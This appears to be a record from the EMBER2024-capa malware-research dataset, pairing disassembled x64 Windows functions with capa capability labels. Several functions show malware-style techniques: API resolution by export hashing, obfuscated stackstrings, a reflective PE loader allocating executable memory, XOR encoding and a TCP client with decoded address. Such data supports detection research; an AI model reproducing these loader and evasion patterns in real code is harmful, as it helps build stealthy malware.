joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400097f0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140009800]
mov dword [rax], 1
mov rax, qword [0x140009810]
mov dword [rax], 1
mov rax, qword [0x140009770]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x1400097e0]
mov dword [0x14000c00c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x1400098c0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x1400098a0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140009750]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x1400015cd
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library

Disassembly:
push rbp
sub rsp, 0x1e0
lea rbp, [rsp + 0x80]
call dbg.__main
lea rax, [rbp - 0x40]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x140001614
lea rax, str.Failed_to_initialize_Winsock._n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x140001716
lea rdx, [rbp - 0x56]
lea rax, [rbp - 0x54]
mov rcx, rax
call sym.decode_ip_port
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x158], rax
cmp qword [rbp + 0x158], 0xffffffffffffffff
jne 0x140001670
lea rax, str.Socket_creation_failed._n
mov rcx, rax
call sym.printf
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x140001716
mov word [rbp - 0x50], 2
movzx eax, word [rbp - 0x56]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp - 0x4e], ax
mov eax, dword [rbp - 0x54]
mov dword [rbp - 0x4c], eax
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0x158]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
cmp eax, 0xffffffff
jne 0x1400016e6
lea rax, str.Connection_failed._n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x158]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x140001716
lea rax, str.Connection_successful__n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x158]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 0
add rsp, 0x1e0
pop rbp
ret
Function at 0x140001a10
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140001a80
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000c0a4]
mov rbx, rcx
test esi, esi
jle 0x140001bb0
mov rax, qword [0x14000c0a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001acb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001b55
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001ab0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001bd2
mov rax, qword [0x14000c0a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000c0a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001bb7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001b4e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001b60
add dword [0x14000c0a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000c0a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001b4e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001ad8
mov rax, qword [0x14000c0a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002160
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000c100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000c0e0]
test rbx, rbx
je 0x1400021bc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x1400021b3
test eax, eax
jne 0x1400021b3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002198
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400023d0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400023e8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400023f0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002400
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000244d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002444
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000244f
add rax, 0x28
cmp rax, r9
jne 0x140002430
xor eax, eax
ret

Function at 0x140002450
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400024e0
mov rdx, qword [0x140009770]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400024ce
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400024ce
cmp word [rax + 0x18], 0x20b
jne 0x1400024ce
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400024e0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400024b9
add rbx, 0x28
cmp rbx, rdi
je 0x1400024e0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400024b0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1400024f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140009770]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002510
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002518
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002510
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000256d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002564
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002510
add rax, 0x28
cmp rax, r9
jne 0x140002550
xor eax, eax
ret

Function at 0x140002570
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140009770]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000258f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002598
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000258f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x1400025b0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140009770]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400025d0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400025d8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400025d0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002620
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002617
test rcx, rcx
je 0x1400025d0
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x140002608
xor eax, eax
ret

Function at 0x140002630
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140009770]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000264f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002658
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002670
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140009770]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002690
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002698
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002690
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002690
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x1400026e4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400026f0
add rdx, 0x28
cmp rdx, r9
jne 0x1400026d0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002700
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140009770]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002722
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002730
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002722
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002722
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002722
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002785
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002798
add rdx, 0x28
cmp r10, rdx
jne 0x140002770
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x1400027a7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1400027b7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000278e
test ecx, ecx
jg 0x1400027a0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140002820
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dword [rcx + 0x4c], edx
cmp dword [rcx + 0x70], 0
je 0x14000282e
mov eax, dword [rcx + 0x54]
jmp 0x14000283a
mov dword [rcx + 0x70], 1
mov dword [rcx + 0x54], edx
mov eax, edx
mov r9d, edx
sub r9d, eax
lea r10d, [r9 - 0x2710]
mov r8d, edx
cmp r10d, 0xffffb1e0
jb 0x14000285b
mov r8d, eax
test r9d, r9d
js 0x140002872
mov eax, dword [rcx + 0x50]
add r8d, eax
add eax, edx
cmp edx, r8d
cmovs eax, r8d
mov dword [rcx + 0x54], eax
jmp fcn.140002160
ret

Function at 0x1400531d4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov r14d, ecx
call fcn.140053190
mov rdx, qword [rax + 0x18]
mov rbp, qword [rdx + 0x20]
mov r11, rbp
mov rcx, r11
call fcn.1400531cc
mov r11, qword [r11]
mov r10, qword [rax + 0x30]
test r10, r10
je 0x14005325f
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [rax + r10 + 0x88]
test ecx, ecx
je 0x14005325f
lea rdi, [r10 + rcx]
mov ecx, dword [rdi + 0xc]
add rcx, r10
call fcn.14005319c
mov esi, dword [rdi + 0x20]
xor ebx, ebx
add rsi, r10
mov r15d, eax
cmp dword [rdi + 0x18], ebx
jbe 0x14005325f
mov ecx, dword [rsi]
add rcx, r10
call fcn.14005319c
add eax, r15d
cmp r14d, eax
je 0x14005327f
inc ebx
add rsi, 4
cmp ebx, dword [rdi + 0x18]
jb 0x140053242
cmp r11, rbp
jne 0x1400531ff
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx r8d, word [rcx + rbx*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
add rax, r10
jmp 0x140053266
Function at 0x140053678
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov rbx, rcx
mov ecx, 0x7bac0721
call fcn.1400531d4
mov ecx, 0xf477a895
mov r13, rax
call fcn.1400531d4
lea rcx, [rbp - 0x50]
mov qword [rbp + 0x40], rax
mov dword [rbp - 0x50], 0x6c64746e
xor r15d, r15d
mov dword [rbp - 0x4c], 0x6c642e6c
mov word [rbp - 0x48], WSAGetLastError
mov dword [rbp - 0x20], 0x526c7452
mov dword [rbp - 0x1c], 0x6c6c4165
mov dword [rbp - 0x18], 0x7461636f
mov dword [rbp - 0x14], 0x61654865
mov word [rbp - 0x10], WSACleanup
call fcn.14005329c
mov rcx, rax
lea rdx, [rbp - 0x20]
call fcn.1400532bc
lea rcx, [rbp - 0x40]
mov qword [rbp + 0x48], rax
mov dword [rbp - 0x40], 0x6c64746e
mov dword [rbp - 0x3c], 0x6c642e6c
mov word [rbp - 0x38], WSAGetLastError
mov dword [rbp - 0x30], 0x416c7452
mov dword [rbp - 0x2c], 0x636f6c6c
mov dword [rbp - 0x28], 0x48657461
mov dword [rbp - 0x24], 0x706165
call fcn.14005329c
mov rcx, rax
lea rdx, [rbp - 0x30]
call fcn.1400532bc
mov rcx, qword [rbx]
lea edi, [r15 + 1]
mov r12, qword [rbx + 8]
mov qword [rbp + 0x50], rax
cmp dword [rcx + 0x94], r15d
jbe 0x14005388b
mov esi, dword [rcx + 0x90]
lea edx, [rdi + 0x13]
add rsi, r12
mov rcx, rsi
call r13
test eax, eax
jne 0x14005388b
add rsi, 0x10
mov edi, 1
cmp dword [rsi - 4], r15d
je 0x14005388b
mov ecx, dword [rsi - 4]
mov rdx, qword [rbx + 0x38]
add rcx, r12
call qword [rbx + 0x20]
mov r14, rax
test rax, rax
je 0x140053888
mov ecx, dword [rbx + 0x18]
mov r15, qword [rbx + 0x10]
inc ecx
movsxd rdi, ecx
shl rdi, 3
call qword [rbp + 0x40]
mov rcx, rax
test r15, r15
je 0x1400537ce
mov r9, rdi
mov r8, r15
xor edx, edx
call qword [rbp + 0x48]
jmp 0x1400537d9
mov r8, rdi
mov edx, 8
call qword [rbp + 0x50]
mov rcx, rax
test rax, rax
je 0x14005387a
mov qword [rbx + 0x10], rax
movsxd rax, dword [rbx + 0x18]
mov qword [rcx + rax*8], r14
inc dword [rbx + 0x18]
mov eax, dword [rsi - 0x10]
test eax, eax
jne 0x1400537fd
mov eax, dword [rsi]
mov r15d, eax
mov edi, 1
add r15, r12
mov rax, qword [r15]
test rax, rax
je 0x14005384f
mov edi, dword [rsi]
add rdi, r12
mov r8, qword [rbx + 0x38]
mov rcx, r14
test rax, rax
jns 0x140053827
movzx edx, word [r15]
jmp 0x140053831
mov rdx, qword [r15]
add rdx, 2
add rdx, r12
call qword [rbx + 0x28]
mov qword [rdi], rax
test rax, rax
je 0x14005386c
add r15, 8
add rdi, 8
mov rax, qword [r15]
test rax, rax
jne 0x140053815
lea edi, [rax + 1]
add rsi, 0x14
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rsi - 0x10]
call r13
xor r15d, r15d
test eax, eax
je 0x14005377e
jmp 0x14005388b
mov rdx, qword [rbx + 0x38]
xor edi, edi
mov rcx, r14
call qword [rbx + 0x30]
jmp 0x14005388b
mov rdx, qword [rbx + 0x38]
mov rcx, r14
call qword [rbx + 0x30]
xor edi, edi
jmp 0x14005388b
mov edi, r15d
mov rbx, qword [rsp + 0xc8]
mov eax, edi
add rsp, 0x70
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400538e8
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r9
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov r15, rcx
mov ecx, 0x4faef192
call fcn.1400531d4
mov ecx, 0x9e5a8833
mov r12, rax
call fcn.1400531d4
mov ecx, 0xf477a895
mov rbx, rax
call fcn.1400531d4
mov ecx, 0xc9f93d32
mov rdi, rax
call fcn.1400531d4
lea rcx, [rbp - 0x20]
mov qword [rbp + 0x48], rax
mov dword [rbp - 0x20], 0x6c64746e
mov dword [rbp - 0x1c], 0x6c642e6c
mov word [rbp - 0x18], WSAGetLastError
mov dword [rbp - 0x10], 0x416c7452
mov dword [rbp - 0xc], 0x636f6c6c
mov dword [rbp - 8], 0x48657461
mov dword [rbp - 4], 0x706165
call fcn.14005329c
mov rcx, rax
lea rdx, [rbp - 0x10]
call fcn.1400532bc
mov r13, rax
mov eax, 0x5a4d
cmp word [r15], ax
jne 0x140053a05
movsxd rsi, dword [r15 + 0x3c]
add rsi, r15
cmp dword [rsi], 0x4550
jne 0x140053a05
mov edx, dword [rsi + 0x50]
mov r9d, 4
mov rcx, qword [rsi + 0x30]
mov r8d, 0x3000
call rbx
mov r14, rax
test rax, rax
jne 0x1400539db
mov edx, dword [rsi + 0x50]
lea r9d, [rax + 4]
xor ecx, ecx
mov r8d, 0x3000
call rbx
mov r14, rax
test rax, rax
je 0x140053a05
call rdi
mov edx, 8
mov rcx, rax
lea r8d, [rdx + 0x38]
call r13
xor r13d, r13d
mov rdi, rax
mov rcx, r14
test rax, rax
jne 0x140053a25
xor edx, edx
mov r8d, 0x8000
call r12
xor eax, eax
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov qword [rax + 8], r14
mov r9d, 4
mov qword [rax + 0x18], r13
mov r8d, 0x1000
mov qword [rax + 0x10], r13
lea rax, [0x1400538a8]
mov qword [rdi + 0x20], rax
lea rax, [0x1400538b0]
mov qword [rdi + 0x28], rax
lea rax, [0x1400538b8]
mov qword [rdi + 0x30], rax
mov qword [rdi + 0x38], r13
mov edx, dword [rsi + 0x54]
call rbx
mov r8d, dword [rsi + 0x54]
mov rdx, r15
mov rcx, rax
mov rbx, rax
call qword [rbp + 0x48]
movsxd rax, dword [r15 + 0x3c]
mov r8, rdi
add rax, rbx
mov rdx, rsi
mov qword [rdi], rax
mov rcx, r15
mov qword [rax + 0x30], r14
call fcn.1400532ec
mov rdx, r14
sub rdx, qword [rsi + 0x30]
je 0x140053aa4
mov rcx, rdi
call fcn.1400535dc
mov rcx, rdi
call fcn.140053678
test eax, eax
je 0x140053a05
mov rcx, rdi
call fcn.1400533e0
mov rcx, rdi
call fcn.140053590
mov rax, qword [rdi]
cmp dword [rax + 0x28], r13d
je 0x140053aec
mov eax, dword [rax + 0x28]
xor r8d, r8d
add rax, r14
mov rcx, r14
lea ebx, [r8 + 1]
mov edx, ebx
call rax
test eax, eax
je 0x140053a05
mov dword [rdi + 0x1c], ebx
mov rax, rdi
jmp 0x140053a07

Function at 0x140053bbc
Capabilities:
Encode data using xor

Disassembly:
movsxd r8, edx
test edx, edx
jle 0x140053bcf
xor byte [rcx], 0x3a
inc rcx
sub r8, 1
jne 0x140053bc3
mov eax, 1
ret
Function at 0x1403968f0
Capabilities:
Send data
Send data on socket

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
mov ebx, r8d
mov r14, rdx
mov rsi, rcx
mov edx, 0x48
call qword [sym.imp.KERNEL32.dll_IsBadReadPtr]
mov ecx, eax
xor eax, eax
test ecx, ecx
jne 0x140396959
lea rdi, [rsi + 0x18]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rcx, qword [rsi]
mov rdx, r14
mov r8d, ebx
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov edx, 0x48
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x140396963
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, ebx
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x1403a7190
Capabilities:
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rcx, rdx
mov rdi, r8
mov rbx, rdx
call qword [sym.imp.WS2_32.dll_inet_addr]
mov eax, eax
mov esi, 0xffffffff
cmp rax, rsi
jne 0x1403a71eb
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x1403a71d6
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov eax, dword [rcx]
cmp rax, rsi
jne 0x1403a71eb
mov eax, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov dword [rdi + 4], eax
xor eax, eax
add rsp, 0x20
pop rdi
ret

Function at 0x1403a7250
Capabilities:
Set socket configuration

Disassembly:
push rbx
sub rsp, 0x20
lea r8, [rsp + 0x38]
mov dword [rsp + 0x38], 1
mov edx, 0x8004667e
call qword [sym.imp.WS2_32.dll_ioctlsocket]
xor ebx, ebx
test eax, eax
setne bl
test eax, eax
je 0x1403a7293
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.ioctlsocket_FIONBIO_1_failed_with_error__d_n
mov ecx, 1
mov r8d, eax
call fcn.1403a8a00
mov eax, ebx
add rsp, 0x20
pop rbx
ret
Function at 0x1403a72a0
Capabilities:
Set socket configuration

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x70
xor ebx, ebx
mov rdi, rdx
mov rsi, rcx
cmp dword [rcx + 0x2d0], ebx
je 0x1403a73b3
lea r9, [rax + 8]
mov dword [rax + 8], 1
mov edx, 0xffff
mov dword [rax - 0x58], 4
lea r8d, [rbx + 8]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jns 0x1403a7319
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov r8d, eax
lea rdx, str.setsockopt_SO_KEEPALIVE_1_failed_with_error__d_n
lea ecx, [rbx + 1]
call fcn.1403a8a00
lea eax, [rbx + 1]
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
imul eax, dword [rsi + 0x2d0], 0x3e8
lea r8, [rsp + 0x58]
mov qword [rsp + 0x40], rbx
mov r9d, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
mov qword [rsp + 0x38], rbx
mov edx, 0x98000004
mov rcx, rdi
mov dword [rsp + 0x58], 1
mov dword [rsp + 0x5c], eax
imul eax, dword [rsi + 0x2d8], 0x3e8
mov dword [rsp + 0x60], eax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
je 0x1403a73b3
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov r9d, dword [rsp + 0x60]
lea rdx, str.WSAIoctl_SIO_KEEPALIVE_VALS_1__lu__lu_failed_with_error__d_n
mov r8d, dword [rsp + 0x5c]
mov ecx, 1
mov dword [rsp + 0x20], eax
call fcn.1403a8a00
mov eax, 1
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
lea rcx, [0x1405d55ac]
mov dword [rsp + 0x80], 1
call qword [sym.imp.WS2_32.dll_getprotobyname]
mov edx, 6
test rax, rax
je 0x1403a73d9
movsx edx, word [rax + 0x10]
lea r9, [rsp + 0x80]
mov dword [rsp + 0x20], 4
mov r8d, 1
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_setsockopt]
lea r8, [rsp + 0x98]
mov dword [rsp + 0x98], 1
mov edx, 0x8004667e
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_ioctlsocket]
test eax, eax
setne bl
test eax, eax
je 0x1403a743c
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.ioctlsocket_FIONBIO_1_failed_with_error__d_n
mov ecx, 1
mov r8d, eax
call fcn.1403a8a00
lea r11, [rsp + 0x70]
mov eax, ebx
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x1403a7570
Capabilities:
Get socket status

Disassembly:
mov r11, rsp
sub rsp, 0x248
mov rcx, qword [rcx]
lea rdx, [rsp + 0x30]
xor eax, eax
mov qword [rsp + 0x38], rcx
mov qword [r11 + 8], rax
inc ecx
lea rax, [r11 + 8]
mov dword [rsp + 0x30], 1
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.WS2_32.dll_select]
